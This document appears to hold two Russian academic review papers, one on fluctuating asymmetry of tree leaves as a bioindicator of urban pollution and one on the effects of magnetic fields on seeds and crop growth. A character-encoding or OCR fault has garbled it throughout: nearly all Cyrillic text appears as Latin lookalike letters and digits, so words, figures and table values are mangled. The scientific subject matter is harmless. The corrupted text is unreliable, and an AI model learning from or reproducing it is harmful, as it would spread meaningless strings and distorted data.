[Tocne onudpoBKU JTUCTHEB W IMONYYCHUS CPEIHUX 3HA4YCHHH Tokazatenss DA ms
KOKIOW TEpPUTOPHM, HX CpPaBHUBAIOT BO MHOTHUX paboTax aBTOPOB C TaOnuien
pa3paboTaHHOl 3axapoBbIM C coaBTopamu s Oepesbl moBucioi. I'ne 1 <0,040 Ywucras
okpyxaromas cpeaa; Il 0,040-0,044 OtnocutenbHo uncrtas («Hopmay); III 0,045-0,049
3arpsizHena («rpesora»); IV 0,050-0,054 I'pszunas («omacuo») u VI >0,054 Ouens rpszHas
(«Bpemnoy»). B pabdote [19] mo u3ydeHHIO COCTOSHUS OKpYKaroliei cpeabl ropoaa Kyprana
no nokaszaremo @A Tilia cordata Mill, ycranoBwin, 4TO0 MpUMEHEHHE AAHHOTO METOJa
MO3BOJISIET TONYYUTh OOBEKTHBHYIO WH(OPMALIMIO MO OICHKE CTa0MJIBHOCTH pPa3BUTHUS
pacTeHuil Ha paHHHUX CTAAUIX OHTOreHeza. DopMupoBaHHE N3y4aeMbIX TPU3HAKOB SBISIETCS
HecrenrduIeckoi peakiueid opraHusmMa Ha crpeccupyroiiee BoszzaeiictBue [19]. Astop
YTBEp)KJAET, YTO TMOJYYCHHBIE pPE3yNbTaThl, IO3BOJISIIOT  PEKOMEHJOBATh  JIUILY
MEJKOJIMCTHYIO B KQUeCTBE HAJC)KHOTO OMOMHIUKATOpA KauecTBa CPElbl M KaK TECT-00BEKT
JUTSL OLIEHKU BO3JICHCTBHSI TPAHCIIOPTHOTO IMTOTOKA HA PACTEHHSL.

®aykrynpyomas acaummerpusi Populus nigra L.

Tomone YepHBI BCTpedaeTcsi B pa3HooOpa3HbIX Omoromax, B ToM uncie Jlonbacca,
BKJIIOYAsi TEXHOTEHHBIE IKOCUCTEMBI PA3IMYHBIX TUIIOB, YTO 1aET BO3MOXKHOCTh UCCIIE0OBATh
MOP(OJIOTHYECKYIO N3MEHYHBOCTb €T0 JIMCTOBOW IIACTUHKU B 3aBHCUMOCTH OT BIIMSTHUS TEX
Wi uHbIX (aktopoB [15]. Teppuropus cOopa IHCTheB ObUia pa3zieneHa Ha HKOTOIBI
MOPOJTHBIX OTBAJIOB YrOJBHBIX MIaXT B JlOHEIKe M XapakTepu3oBallaCh KHCIIOW peaknueit
cyocTpaTtoB, OTBajibl JlOKy4aeBCKOro (pIroco-JO0JIOMUTHOIO KOMOMHATa — MIETOYHON
peakuueii. B kauecTBe KOHTpPOJIBHOM TeppuUTOpUM (MeHee TpaHCHOPMUPOBAHHON
9KOCUCTEeMBI) ObLT BBIOpaH L{eHTpanbHblil mapka KynbTypbl 1 oTAbxa uM. A.C. [llepbakoBa B
r. Jlonenke. MeToauKka OICHKH JHMCTOBBIX IUIACTHH B3sTa M3 paborel [15] u mosramuHo
npuBeJeHa i 0030pa:

1. JIucToBbI€ MIACTUHKH OBLTN CKAaHUPYIOT (3KEIAaTEeIbHO C BHICOKMM pa3peIIeHUEM).

2. Ha omnudpoBaHHBIX H300paXEHHUSIX C IMOMOIIBI0 KOMITBIOTEPHON MPOTpamMMbl
TPSDig 2.10 nHarocsT 38 METOK 10 4aCOBOW CTpEJIKE.

3. IlepBasi MeTka HAaHOCHTCS B MECTO MPHUKPEIUICHUS Yepellka, ABajalaras — Ha
BEPXYIIIKE JINCTOBOW IacTHHKHU. OctanbHble MeTkH (2-19, 21-38) pacroyioxkeHbl o Kparo
JTUCTOBOM TJIACTMHKH TakuM 00pa3zom, uTto oOpa3oBaHHBIe oTpe3ku 2-38, 3-37, 4-36, 5-35
..19-21 oxazanuch mapajUIeTBHBIMH M PACHOJOKCHHBIMH HAa PAaBHOM pACCTOSHUH OT
coceTHuX oTpe3koB (puc. 3)

4. JlanpHeinryro o0paboTKy MPOBOAAT C MCIOJIB30BaHUEM IMporpamMm cepun TPS —
TPS Relative Warps 1.49.
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Puc. 3. — Yepenuéunas dhopma nuctoBoii miaactuku Populus nigra L. s.1. nns Bcex
aHAJTM3UPYEMBbIX dKocucTeM (coriacHo padote [15])
[IpumeuaHue: ynciaMu OTMEYEHO PACIIONIOKEHUE METOK

5. JInst ouieHku pa3nuuuii GopMbl TUCTOBOM IIIACTHHKY C Y4ETOM BHYTPUBBIOOPOYHOM
qucnepcuu ucnoib3yror F-xputepuii ['ynosia, OCHOBaHHBIM Ha aHAIM3€ IPOKPYCTOBBIX
pacCTOSHUH.

B pesynpraTe Hcnonb3oBaHMUsS JAHHOW METOJUKU aBTOPBI MOJYUYWIIM CIEIYIOIIHME
pesynbratel [15]:

1. HauGonee uzmeHunBa Oa3zainpHas M CPEIMHHOM YacCTH JIMCTOBOW IJIACTUHKHU P.
nigra.

2. Ins obpasnoB u3 mapka lllepOakoBa xapakTepHa OoJblmasi CTENEHb CXOJICTBA
OCHOBHOHM 4YacTH JIMCTOBBIX IUIACTMHOK C HMX YCPEOHEHHOM KOHGHrypamueu, uem s
JIMCTOBBIX MJIACTUHOK C MIPOMBIIIIIEHHBIX OTBaJIOB. BO3M0OkHOE 00BsICHEHUE, 3TO MTPOSBIICHUE
JMBEPreHTHON OHTOI'€HETHYECKOM TaKTHKHU B (POPMUPOBAHUU MOP(OJIOrHUECKUX MPU3HAKOB
JIMCTOBOM TUIACTUHKH TOTIOJS YepHOTO (puc. 4).
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Puc. 4. — Bxiag MmeTok B BapraOenbHOCTb (hOPMBI JIUCTOBOM mimacTuHku Populus nigra L.
S.l.: a) nus Bcelt COBOKYITHOCTH BBIOOPOK; O) /1715l BBIOOPKH TEPPUTOPUH THapKa; B) IS
BBIOOPKHU OPOHBIX OTBAIIOB YIOJBHBIX MIAXT; I') AJIs1 BIOOPKH OTBAJIOB BCKPBIIIHBIX ITOPOJT
(cormacho [15]).
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[Ipumeuanue: BekTOpamMu O00O3HAYEHBI HAIPABJICHHWE M CTENEHb OTKJIOHEHUS
PaCTONIOKEHUSI METOK OT YCpeTHEHHOU (DOPMBI JINCTOBOW TTACTUHKH.

3. JIucTOBBIC MJIACTHHKH JIOCTOBEPHO OTIMYAIHMCH B 3aBUCHMOCTH OT TEPPUTOPHH
UCCIICIOBaHUS W aHTPOIOreHHOro BiusHUs. HamOombmme oTivuus (HOPMBI JIMCTOBOM
IUIACTHHKU P. nigra oTMEUYeHbI MpU CPAaBHEHHU BBIOOPOK TEPPUTOPUH MAPKa U MOPOTHBIX
OTBAJIOB YTOJBHBIX IIAXT.

daykryupyomas acummerpus Betula pendula Roth

Hawubosnee KIacCMYECKUM BHIOM, U B XOPOIIEM CMBICIIC H30UTHIM YYCHBIMH BCETO
Mupa, sBisieTcs: Oepesa moBucias. B oTedecTBeHHOM aHuTepaTrype MeToauKa naMmepenust GA
npuHaIIeKUT 3axapoBy B. M. ¢ coaBTopamu, Ha paboTy KOTOPBIX CCHUIACTCSI KaXK/1asi BTOpast
nyOnMKalus W Mbl B TOM YHcie. A BbIOOp JaHHOTO BHA 3aKIOYACTCS B TOM, YTO
Betula pendula Roth sBisiercst xopomum OWOMHAMKATOPOM B ropoickoit cpexe. I[lpu
(OpPMHUPOBAHUYU JHCTOBOI IUIACTUHKH MPOUCXOAUT HAKOIUICHHE TOKCHUYECKUX BEIIECTB U
napauieIbHO TOPMOXKEHHE POCTOBBIX MPOIIECCOB, H, KaK CIICACTBHE, AeopMaIus a BepHee
U3MCHECHUE TeoMeTpud JncTta. [Ipr okoHYaTeIbHOM (POPMUPOBAHMH JIMCTOBBIX IIACTHH HA
JIEPEBBSIX, UCIIBITHIBAIOIINX BHICOKYIO TEXHOTCHHYIO HArpy3Ky, UX IUIOMIA I MEHbIIIE, YeM Ha
JEPEBBSIX, IPOU3PACTAIOIIUX B OOJIee OIArONPHUSITHBIX IKOJIOTMYECKHX YCIOBHIX. MeToanka
MpeIIoKeHHAs 3aXapOBhIM SBIISICTCS YHUBEPCATHHOU U yXKe OOIICTIPUHSATOM (pHUC. 5), OTHAKO
MMEIOTCSI BOIIPOCHI I10 IIIKAJIe OLIEHKH IOJIyYeHHBIX MMOoKa3aTesel st qpyrux Bunos [21-23].

Puc. 5 —Cxema mop(doiaorndeckux mpu3HaKoB, HCTIOIb3YEMBIX VISl OIIEHKH CTAOMIIBHOCTH
pasBuTHs Oepesbl nmoBucioi (Betula pendula Roth.) mo 3axapoy ¢ coaBropamu [20]:

O6o3Hauenusi: 1 — mmpuHa J€BOM M NMPaBON MOJOBUHOK JIUCTA; 2 — JJIMHA KUJIKH
BTOPOTO MOPSJIKA, BTOPOH OT OCHOBAHUS JINCTA; 3 — paCCTOSTHUE MEX /1y OCHOBAaHUSMH I1EPBOU
1 BTOPOU JKUJIOK BTOPOTO MOPSAKA; 4 — paCCTOSIHUE MEXAY KOHIAMH 3TUX K€ JKUJIOK; 5 —
yroJI MEX/y TJIaBHOW KWJIKOW U BTOPOM OT OCHOBAHMSI JINCTA JKUJIKOM BTOPOIrO NOPSIKA.

daykryupylomas acummerpusi Quercus robur L.

MHeHHs CHEeUUaNIUCTOB IO BOIMPOCY HCIOJIb30BAaHUS METOIMKH (DIyKTyHpyromei
aCUMMETpPUU JIUCTOBBIX IUIACTUH TMOJ BIUSHUEM pa3IMYHBIX (AKTOPOB Cpelbl Ha
CETOAHALIHNHN JIeHb HEOMHO3HAUHBI [23]. DTO CBSA3aHO C METOIOIOTMYECKUMH MTPOCYETAMH
IpU  OINpEAeNeHUH TOYHOCTH MapaMeTpoB IIOKa3aTelis AacCUMMETPUM M OTCYTCTBUEM
W3MEHEHUH acUMMETPUM y Psa BUJOB IIPU OYEHb BBICOKUX YPOBHSX IHPOMBIIIJIEHHOTO
3arps3HeHus. TeM He MeHee MHOTHE UCCIIEA0BATENN OLICHUBAIOT 3TO HAIIPABJICHUE KaK OYEHb
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MEPCIIEKTUBHOE MPHU YCIOBUHU TIATEIBHOIO cOOpa UCXOAHOM HH(MOPMALIUU U CKPYITYJI€3HOTO
r7TyOOKOT0 aHaJIN3a MOJIYYEHHBIX Pe3yIbTaTOB.

B nocneanue roasl ucnonabzoBanue napamerpa ®A g qyda yepenryaroro Habupaer
000pOTHI U MYONUKAIUI MOSBIAETCS BCE OOJbINE, TOKA3bIBAIOLINX MTPUMEHUMOCTb METOA
JUIS TAaHHOTO BHJA JAPEBECHBIX pacTeHui [24]. AnHa AllekcaHapoBHA yKa3biBaeT, uto DA B
BBIOOpKE YKa3bIBACT HA HAPYIICHUE CTAOUILHOCTH PA3BUTHS, BEI3BAHHOE YKOJIOTHUYECKUM H /
WM TeHOMHBIM cTpeccoM [25]. B e€ pabote Bee Mcciie0BaHHbIC 1yOpaBbl, 32 HCKIFOUCHHEM
oobekra Ne3 (0,056), umenu koddpdunuentsl Gaykryupyromeii acummerpun (DPA), He
npessimaromue 0,04 (o mkane 3axaposa). M kak BeIBOJ 1yOpaBbl yCTONYMBEI K JICHCTBUIO
aHTpoIoreHHoro gaxropa [24].

B cBoto ouepenp Jlyrosckas ¢ coaBTopamu [23] ucciienys KOMPOPTHOCTh Cpebl B
Boponexckoii 001acT HaCTauBalOT Ha TOM, YTO HEOOXOAUMO UCIIOIB30BATh MPEAIOKEHHBIH
aBTOpamMu OoJiee TOUHBIN JUIst BopoHeka quana3oH 3HaYeHUH QIIYKTYHPYIOIIEH aCHMMETPHH
Uis  OMOJMArHOCTHKU COCTOSIHHMSI cpeibl. Pe3ynabTaThl MOATBEPKIAAIOTCS —peakuuen
MOJIETIbHBIX JIEPEBHEB B BBIOPAHHBIX MPOOHBIX IJIOLIAASX HA Pa3HbIX NapaJuHAMHUYECKHX
KoMIuiekcax (tabmn. 1). Pa3paGoTanHas »5kojormyeckas IIKana KCIOJb30BaHA IS
paH>KMpOBaHMs MapaJUHAMHUYECKUX KOMIUIEKCOB C pa3HbIM HabOpOM aOMOTHYECKUX
(bakTOpoB 1O cTeneHu KOMPOPTHOCTHU Cpebl A Ay0a uepenryaToro.

Ta6numa 1 — [Ikana oneHKH KOMMOPTHOCTH CPE/ibl OOUTAHMUS MO 3HAYCHHUIO
GuykTyupytoiei acumMeTpun ayoda ueperrdaroro (cornacuo [23])

. Onmamaneasie | Cybomrmmansssle | Cybneccumanessle | [leccumanbHEle
[TapameTps! yemoBnit ’
’ VCIIOBHSA YC/IOBHSA VCJIOBHS YCIOBHS
3HavyeHHe QIIYKTyalHH
oy HIEE 0.033 0.033 10 0.048 0.048 mo 0.063 BBIIIE 0.063
OIMPHHEI JIHCTA

Crnenyer o0s3aTeIbHO OTMETUTh M KPUTHUKY Ul ONMHCAHHOTO HaMu Merona. Tak
M.B. KoznoB [26] mpoBens rinyOokuii aHamu3 myonaukanuii 10 2014 roma B Poccuiickoit
@enepan U 3apyOEKHBIX M3/IaHUSX OTMEYAeT, YTO B HAcTosIee BpeMs BcE darlie
MOCTYNAIOT JaHHBIE 0 TOM, 4TO DA OpraHU3MOB U3 HAPYIIEHHBIX MECTOOOUTAHUN 1aJIEKO HE
Bcerja npesbiiaer @A OpraHM3MOB M3 HEHApPYIIEHHBIX (KOHTPOJBHBIX) MECTOOOMTAHUI
(damie 3TO OTMEYEHO B 3apyOekHBIX M3/aHUAX). A aHaIW3 OOIIMPHOIO MAacCHMBa JIaHHBIX,
COOpaHHBIX aBTOPOM B 30HAX BO3JAEHCTBUSA 18 NMPOMBINUIEHHBIX MPEINPUATHI CEBEPHOTO
MOJIyILIapHsl, TOKa3al OTCYTCTBUE 3HAUMMBIX paznuuuil o @A pa3ianyHbIX BUJIOB pacTeHHUM
MEX]Jy CHJIBHO 3arps3HEHHbIMU M He3arpsS3HEeHHbIMH MECTOOOMTaHusAMH. B KoHIe cBoeil
paboThl aBTOp OTMEYaET, 4TO HcciieoBaHus peHomeHa DA mepcrneKkTUBHBI B TOM ciydvae,
korna oneHku DA XapakTepHU3ylOTCS BBICOKOM TOYHOCTBIO M HECMEIIEHHOCTbIO. Jlis
MOJIyYE€HUsI TaKMX OLEHOK HeOoOXOIMMO UCIOJIb30BaTh COBPEMEHHBIE METOJbl cOopa
MaTepuala M aHajiM3a TIOJIYyYEHHBIX JIaHHBIX (00s3aTeNbHO C  HCHOJIb30BAHUEM
KOMITBIOTEPHBIX TEXHOJIOTHH, COBPEMEHHOI'O MPOrpaMMHOrO OOecreyeHus] U METOJ/I0B
CTaTUCTHUKH).

3akiouenue

[To pesynbratam NpoBeAeHHON pabOTBHl C HAayYHBIMH HCTOYHUKAMH, YCTaHOBHIIU
MOHATHE aCUMMETPUH U (PIYKTYyHUPYIOIIEeH aCHMMETPHH, a Takke pazo0palii METOAUYECKHE
pexomeHnauun K wuccaepoBaHnto DA 118 BUOOB IpeBECHBIX pacTeHU. BrraBum
aKTyaJibHbIE TPOOJIEMBI JaHHOM TeMaTHKU. Tak MHOTHE aBTOPBI OTMEUAIOT, YTO HE0OX0AUMa
pa3paboTka cnenuduyeckux mkaia GIyKTYUpyromed aCHMMETPUN JUCTOBBIX IJIACTUH JIJIS
OLICHKHA Ka)KJOTO KOHKPETHOIO BHJAA PACTUTEIBHOTO OPraHW3Ma, a TaKKe B Ipenenax
OTAENBHBIX TEPPUTOPUN U METOJUKH (PIYKTYHPYIOIIEH aCHMMETPUH JIUCTOBBIX IJIACTHH.
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Ki1r0ueBbIM METOTUYIECKUM BOIIPOCOM JIFOOOTO HUCCIICI0OBAHHUS SBIISETCS 00eCICUeHNE
pCNpPE3eHTATUBHOCTH  PE3YJIbTAaTOB M OIGHKAa  JOCTOBEPHOCTH  HaOJII0JaeMbIX
3akoHOMepHOocTei. JII000e n3MepeHne nMpu3HaKa Jaxe OpraHu3Ma ¢ uaealbHOH CHMMETpHUeH
O00BEKTUBHO BJICUET 32 COO0H HEKOTOPYIO OIIMOKY, KOTOpast TOJKHA OBITh YUTEHA B pacueTax.
OO0s3aTeNbHBIM yCIIOBHEM, TPH BBIMOJHCHUH TaHHOW TEMbI, SIBISCTCS HCIIOJIb30BAHHE
KOMIIBIOTEPHBIX TEXHOJOTHH, COBPEMEHHOTO MPOTPAMMHOTO OOECICUEHHSI W METOJIOB
CTaTHCTHUKH.
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VIIK577.3

BJIMSHUE PA3JIUYHBIX BUJIOB MATHUTHBIX ITOJIEA HA
PACTUTEJIBHBIE OPT’AHU3MBbI

Komiwok I1. .
Hayunuwiit pyxosooumens: Kopnuenko B.O., kano.ouon.nayk, 3as.kagheopoi
oy BIIO «/IOHHY»

Annomayus: B naHHO# paboTe poBeicH 0030p UCTOYHUKOB UH(DOPMAITUH 110 BIMSHHUIO MATHUTHOTO IOJIST HA
pacTeHus, a Tak)Ke HanOOJIee aKTyalIbHBIX HAIIPABICHUN N3YUCHHS BIMSHUS MATHUTHOTO TOJISL HA PACTUTCIIBHEIC
OpTaHU3MBI.

Knrouesvie criosa: pactenus, oHTOreHe3, MopQoorus, OM0TECTUpPOBaHKHE, MAarHUTHOE TI0JIE.

Beenenne. B Hactosiiiee BpeMsi BcE OoJibllie BO3pACTaeT CHPOC HA 3KOJIOIMYECKH
YHUCTYIO IPOAYKLHUIO. I JOCTHXKEHUS JAaHHOM 1I€TM HE0OXO0IMMO MPUMEHSTh TEXHOJIOTHH C
MUHUMAaJIbHBIM HCIOJb30BaHUEM XHMMMUYECKHX IIPENaparoB, WIA BOBCE HCKIIOYUTh HX
ucross3oBanue [ 1-11].

BinsiHue MOCTOSIHHOr0 MATHUTHOTI'O IOJISI

N3ydeHnue BnusHUA MOCTOSAHHOTO MarHutHoro nois (IIMII) Ha pacrenus sBnsercs
OJTHUM U3 CaMbIX IEPCIEKTUBHBIX HalpaBIE€HUIl B 00JIACTH HUCCIEIOBaHUS BO3AEHCTBUS
¢buznveckux GpakTopoB HA PACTCHHS.

B pa6ore KioukoBa ¢ aBtopamu [12], u3yyanoch BO3AEHCTBHE HCKYCCTBEHHOTO
MarHMTHOTI'O IO0JIs, HA TIPOPALIMBAHUE CEMSIH PA3INYHBIX CEIbCKOXO3SIIICTBEHHBIX PACTEHUH.
Jlns uccnenoBaHUM HCHOJIb30BAUCh CEMEHA 3€pHOBBIX, 3€pHOOO0OBBIX, MACIMYHBIX H
JOPYIUX pACTEHUMN.

B pesynbTare nccrienoBaHus ObUIO YCTAHOBJIEHO, YTO MPH pa3MeEIleHUH MarHUTHOTO
noJsis Ha BepxHed yvamke I[letpu m MaruutHOM MHIykuuu 8 — 10 MTn B meHTpe yalukw,
HaOJI0AaeTCsl CTUMYJIMPYIOIIEee BO3JCHCTBUE MAarHUTHOTO TOJII Ha pa3BUTHE MPOPOCTKOB.
[Tpu manHOM MeTone 0OpabOTKM yBemuueHue OMoMacchl Ha 5-i geHpb coctasisier 19-20 %.
[Ipu pa3menieHM MarHUTOB C IBYX CTOPOH U MarHuTHOM uHAykuu 13-18 MTn Habmogaercs
OTpHULIATENIbHOE JIEHCTBUE MATHUTHOTO ITOJIS.

Binsinne nepeMeHHOro MarHuTHOIO TOJIst

O6paboTka pacreHuit B mepemeHHOM MarHuTHoMm mojie ([1eMII), Tak ke kak u
obpabotka B [IMII siBiseTcs 10CTaTOYHO MEPCIEKTUBHOM TEMOM /s U3y4YeHUs B 00JacTh
BIUSHUS GU3NYECKUX (PAKTOPOB HA PACTEHUS.

Hanpumep, onHa 13 nogo0HBIX paboT — 3TO ucchenoBanus Kcens ¢ coaBTopamu Ha
TEMY BIIMSHUS TPEANOCEBHON 0OpabOTKH CeMSH IpaJue€HTHbIMM MarHUTHBIMU TOJSIMU U
JIEKTPOAKTUBUPOBAHHOMN BOJIOM Ha MX CTApTOBBIE XapaKTEPUCTUKH, pa3BUTHE PACTEHUU U
YpOXKaWHOCTh 3epHOBBIX KynbTyp [13]. Hmst uccrnemoBanuii aBTopamMu ObLT pa3paboTaH U
U3TOTOBJIEH JIEKTPOAKTUBATOP.

B skcnepruMeHTe HCIONB30BATUCH CEMEHAa MHOTOPSIHOTO SPOBOTO SUMEHS copTa
Bakyn u cemeHa 03uMoi MArkoi mieHuipl copra FOka, 3aroTOBIEHHBIX 10 Pa3INYHBIM
MeTtoukaM. CeMeHa siluMeHsl 3aMaulBaIMCh B BOJIE C pa3IMuHbIMU 3HaYueHus MU pH (katonut
pH=10,3; anomut pH=3,8) u Temneparypsl B TeueHue 30 muHyT. CemMeHa NIIECHUIIBI
3aMavYMBAIHCH B 1Ies109HOM Bojie (katoauT pH = 10,3) B Teuenue 3 u 10 gacos. Jlanee cemena
MIPOCYIINBAJINCh U BBICEBAJIMCH HA YYACTKHU IUIOMAbI0 33,3 M2 B TPEXKPATHOM IOBTOPHOCTU
[13].
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JUis uccnenoBaHys BIMSHUS I'PAJIMEHTHOIO MarHUTHOTO IOJIsL BTOPas 4acTb CEMsH
[o/IBeprajach OOJY4EHMIO MArHUTHBIM IOJIeM C HMHAyKuuen 75-85 mTn ¢ rpaaueHToM
MarHuTHo#M uHAykKImu 2,06 Ti/m co ckopocThio 1,52 M/c 1 Tak)Ke BbiceBajiach. B kauecTe
KOHTPOJISI B OIIBITE UCIIOIb30BAIM YUYaCTKH, 3aCEIHHBIE IPOTPABICHHBIMU CEMEHAMHU.

B pesynbrare paGoThl ObUIO YCTAaHOBJIEHO, YTO HAWJIydlllMe OHOMETPUYECKHE U
CTPYKTYpHBIE [1I0Ka3aTeIN PaCTEHUI, KaueCTBO 3€PHA U YPOKalHOCTh OTMEUEHBI B BApUAHTE
C coueTaHHbIM JeiictBueM katonuta ¢ pH=10,3 m rpagmeHTHOro MarHuTHOro nossi. B
pe3yJbTaTe akKTUBU3AUN OMOJIOTHYECKUX IPOIIECCOB B CEMEHAX pacTeHUil o0ecriednBaeTcs
YJIy4ILLIEHUE CTAPTOBBIX XapaKTEPUCTUK CEMSH U YBEIMUEHUE ypoxaitHocTu Ha 13,9%.

Tak xe nmpumenenuto [IeMIl B kadyecTBe mpeamnoceBHOW 0OpabOTKH CeMsH ObUIH
nocsiieHsl padotsl CaBuenko B.B. u aBtopoB [14]. [lo MHEHHIO aBTOPOB ¢ M3MECHEHHEM
KBaJpaTa MarHUTHOM MHAYKIMH, TPAJIMEHTa MAarHUTHOT'O 1OJISL U CKOPOCTH JBMXKEHUS CEMSTH
10 TPAHCIIOPTHOM JIEHTE, 3aBUCUMO M3MEHSIOTCS dHEPrus MpopacTaHusi, OMOMETpUUYECKUe
IoKa3aTesu U BCXoxkecTh. PaboTa mpoBOIMIINCE ¢ CEMEHAMH MOACOJIHEYHUKA copTa «JIIoKe».
B xone skcnepuMenTa yepe3 MarHuTHoe mosie, ¢ uHaykuue B npegenax 0 — 0,4 T, Ha
TPAHCHOPTHOM JIEHTE IepeMeLalluCh CEMEHA, CKOPOCTh IBUKEHHUS CEeMsIH - B npenenax 0,4 —
0,8 M/c. MarauTHO€ TOJ€ CO3AaBaJOCh C IMOMOUIBIO YETHIPEX MOCTOSHHBIX MAarHWTOB U3
uHTepMeTanyeckoro komnosuta NdFeB, koTopble ObUIH yCTaHOBIIEHBI NTAPAIIEIBHO, HAJ
Y IIOJ] TPAHCIIOPTHOM JIEHTOM € IEPEMEHHOM MOJISPHOCTHIO.

B pesynbraTe ucciieoBaHUS MaKCHMAJIbHO IOJIOKUTENbHBIN 3¢ddext Halnromancs
OpU  CIEAYIOIIMX mapaMeTpax oOpaOorku: wmarHuTHas wuHIykmus — 0,065 To,
YeThIpEXKpaTHOE IlepeMarHu4ruBaHue, rpaJueHT MaruutHoro nois — 0,57 Ta/m, u ckopocTh
nskeHus cemsH — 0,4 m/c. [Ipu nanHOM pesxume 00pabOTKU BCX0KECTh CEMSH BO3PAcTaeT
Ha 24%, a sHeprus npopacranus — Ha 28%.

MarauTHo-uMINyJIbcHAas 00padoTka pacTeHui

Ocoboe BHMMaHHUE YJIENSIETCs SKOJIOTHYECKH YHCTOMY IMPOM3BOJACTBY MPOAYKIHH
pacTeHMEBOJCTBA, YTO 3aCTaBJSIET MPUMEHSTb JOMOJIHUTEIbHBIE MEPONPUATHUS IO
MOBBIIIEHUIO €r0 NPOAYKTHUBHOCTH. Cpelu Takux MEpPONPUATHH MOKHO paccMaTpUBaTh
CTUMYJISILIUIO CEMSIH NPU MOMOIIY UMITYJIBCHOTO MarHUTHOTO TOJIS.

B skcnepumente CoipkrHa B.A. u aBropoB [15] uccnenoBanoch BIusiHUE MarHUTHO-
uMnyiascHo o00pabotkun (MWO) Ha pa3BuTHEe ceMsH 4YedeBMIBl. B sKkcnepuMeHTe
HCCIJIEOBAJINCH MTAPAMETPhI UMITYJIbCHOT'O MarHUTHOT'O MOJIs, TPOAOKUTEIBHOCTD IpoIiecca
CTUMYJIMPOBAHUS U BPEMS BBIIEPKKH TEPE]] TOCEBOM.

Yacrora MMIyJIpCOB MAarHUTHOIO MOJS Haxoqwiack B auanaso”e ot 10 mo 50 I,
rpaganus coctasmia 10, 30 u 50 T'n. /Inanazon Bpemenu 00pabOTKU ceMsiH ObLT IPUHAT OT 1
1o 10 munyT, rpaganus coctasuwia 1, S u 10 munyT. HTEpBasl BBIIEPKKH MEPEN TOCEBOM
oOpaboTanbIx ceMsH coctaBui oT 0 10 2 cyToK, rpajganus coctaBuia 0, 1 u 2 cyTok.

B pesynbTare uccrnenoBaHUil YCTaHOBHIIM, YTO NMPHU OOJyYEHHUH MAarHUTHBIM IOJIEM
MIPOUCXOJUT «CTPECCOBOE» BO3ACHCTBHE HAa CEMEHa, K TOMY K€ Ha HEKOTOpPOe BpeMs
CHIDKAIOTCSI MX TIOCEBHBIE KauecTBa. B Xoje skcnepuMmeHTa Obula yCTaHOBIIEHa Hambolee
ONTUMAaJIbHAs 4acTOTAa MUMIIYJbCHOIO MAarHUTHOTO Mojis — okoso 300, mernons3zyemas npu
o0paboTke ceMsH ueueBMLbl. [Ipy BO3IEHCTBMM HMIYJIbCHOTO MAarHUTHOTO TOJS
YBEJIMUYMBAETCS IMHAMUKA MPOpAcTaHUs M POCTa PACTEHUN Ha MEPBOM dSTale pa3BUTHS B
cpenneM Ha 18-20% [15].

[IpuMeHeHrne TEeXHUYECKUX CPEJCTB sl MPOM3BENCHUS MarHUTHO-UMITYJIbCHOM
00pabOTKN pacTeHUH MOIJIM OBl PACHIMPHUTH UCCIIEAOBAHUS BIUSHUS MarHUTHOTO TOJIS 10
MIPOMBIIIJIEHHOTO MacIiTada.
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Jns uzyuenust Bnusinusgs MUO Ha pacTeHHs B MOJIEBBIX YCIOBHSIX, YUYEHBIMU OBLIU
pa3paboTanbl psiq ycTaHoBOK. K mpumepy, mexanusupoBanHas miargopma MUO pactenwmii
paspaborana ®I'bHY «BCTUCII», r. Mockaa.

YcTaHOBKa OCHaIleHa JOTOJIHUTENBHOW pPaMoil BeloIuiaThopMbl Ha KOTOpPOW B
TOPU30HTANIBHOM MIIOCKOCTH pa3MeleHbl MarHUTHbIE HHAYKTOPBI, MUTaHUE OCYIECTBIISIETCS
3a CUET aKKyMYJIITOpHOH OaTapeu.

Opnaxo nanHas miatdopma o01alaeT CyIIeCTBeHHBIMU HEIOCTaTKaMHU, Cpein
KOTOPBIX IUI0Xasl IPOXOIUMOCTb, HEPABHOMEPHOCTh X014, HEBO3MOKHOCTb JUIMTEIBbHON
00paboTKH M Maas MPOU3BOIUTELHOCTb.

B npyrux paborax [16] omuceiBacTes pa3paboTka MoOmibpHOro arperata (MA), mis
OOJIydeHUs] MarHUTHBIM TIOJIEM 3EMIIIHUKM CaJl0OBOM. YCTaHOBKa IpeIHA3HAYEHA JUIs
Tpaktopa BT3 2048A.

Arperar BKJIIOYaeT paMy, cuctemy nutanus u annapatr MUO c¢ aByMs MIOCKMMHU
UHIYKTOpaMHu (C BO3MOXKHOCTBIO MEPEMEIIEHUsI B BEPTUKAIBHOM TuIocKOoCcTH). [IpumeHeHue
arperata Ha NMPOMBIIUICHHOW TUIAHTAIMU 3E€MIITHUKH O0ECIEUMIIO TPUPOCT YPOKANHOCTH
3eMJISSHUKH, BBIPAIIMBAEMON MPOMBIIUIEHHBIM criocobom, Ha 30 % 3a cuerT cTUMYIALUU
MMIYJIbCHBIM MarHUTHBIM I10JIEM OOMEHHBIX ITPOIECCOB Ha OIPEEIIEHHBIX (ha3axX pa3BUTHUS
pactenuii [16].

Bunsinue 3J1eKTPOMarHMTHOTO MOJISl HA POCT M pa3BUTHE PacTeHUit

OT nmapaMeTpoB 3JIEKTPOMArHUTHOTO IMOJIA 3aBUCUT BO3MOKHOCTH COPTOBBIX CEMSH
MaKCHMaJIbHO peali30BaTh CBOM M€HETHMUECKUN MOTEHLUal, a, CJIeA0BaTeIbHO, U Oynyliee
MOBBIIICHUE YpOKalHOCTU. MHOrMMH aBTOpaMu ycTaHoBieHO [17-20], 4To MakcumanbHas
peayin3anysi TE€HETHMYECKOro IOTEHLHMaNa IPOUCXOJUT TOJBKO IPU  OINpPENEICHHbIX
rnapameTpax 3JeKTPOMarHUTHOTO MOJISA: TAKUX KAK JJIUTEIbHOCTh BO3/IEUCTBUS 110 BPEMEHHU,
YaCTOTHBIM JMana3oH, BeJWYMHA D3JEKTPOMAarHUTHOM WHIYKIHMH, pacCcTOSHUE 10
oOpabaTeiBaeMbIX ceMsH. [Ipu 5ToM Kakasi CeNbCKOXO03SHCTBEHHAS KYIbTYpa MOXKET UMETh
CBOM ONTHUMYM 3THX ITapaMETPOB.

bonee Toro, nake ceMeHa pacTeHUI OJHOTO U TOT'O 7K€ BU/1a U COPTA, IPOU3PACTaBIINE
Ha TEPPUTOPHUSAX C  PANTUYHBIMU  NPUPOJHO-KIUMATHUYECKUMH, pelbeHBIMH U
AHTPOTIOTEHHBIMA OCOOEHHOCTSMH, YOpaHHbIE B pa3Hble CpPOKH, BBICYIIEHHBIE TMpHU
pa3IMyYaBIINXCSl PEKUMAX CYIIKH, XPaHUBILIMECS B Pa3HbIX TEMIIEPATYPHO-BIaKHOCTHBIX
